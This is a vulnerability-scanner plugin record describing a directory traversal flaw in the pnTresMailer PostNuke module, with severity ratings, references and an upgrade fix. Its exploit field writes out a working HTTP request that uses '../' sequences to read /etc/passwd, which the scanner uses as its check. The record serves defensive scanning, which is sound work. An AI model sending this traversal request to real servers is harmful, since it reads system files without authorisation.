Plugin ID | 327 |
Plugin name | Post-Nuke pnTresMailer codebrowserpntm.php directory traversal |
Plugin filename | Post-Nuke pnTresMailer codebrowserpntm.php directory traversal.plugin |
Plugin filesize | 2396 bytes |
Plugin family | CGI |
Plugin created name | Marc Ruef |
Plugin created email | marc.ruef at computec.ch |
Plugin created web | http://www.computec.ch |
Plugin created company | computec.ch |
Plugin created date | 2005/01/09 |
Plugin version | 1.0 |
Plugin protocol | tcp |
Plugin port | 80 |
Plugin procedure exploit | open|send GET /codebrowserpntm.php?downloadfolder=pnTresMailer&filetodownload=../../../../../../../../../../../etc/passwd HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# 200 *root:* |
Plugin exploit accuracy | 98 |
Plugin comment | The NASL script is Copyright (C) 2004 Tenable Network Security |
Bug affected | Post-Nuke |
Bug vulnerability class | Directory Traversal |
Bug description | The remote host is running a version of the pnTresMailer PostNuke module which is vulnerable to a directory traversal attack. An attacker may use this flaw to read arbitrary files on the remote web server, with the privileges of the web server process. |
Bug solution | Upgrade to the latest version of this module. |
Bug fixing time | Approx. 1 hour |
Bug exploit availability | Yes |
Bug exploit url | http://www.securityfocus.com/bid/11767/exploit/ |
Bug remote | Yes |
Bug local | Yes |
Bug severity | High |
Bug popularity | 7 |
Bug simplicity | 9 |
Bug impact | 9 |
Bug risk | 8 |
Bug Nessus risk | Medium |
Bug check tools | Nessus can check this flaw with the plugin 15858 (Post-Nuke pnTresMailer Directory Traversal). |
Source SecurityFocus BID | 11767 |
Source Nessus ID | 15858 |
Source Literature | Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427 |
Source Misc. | http://www.computec.ch |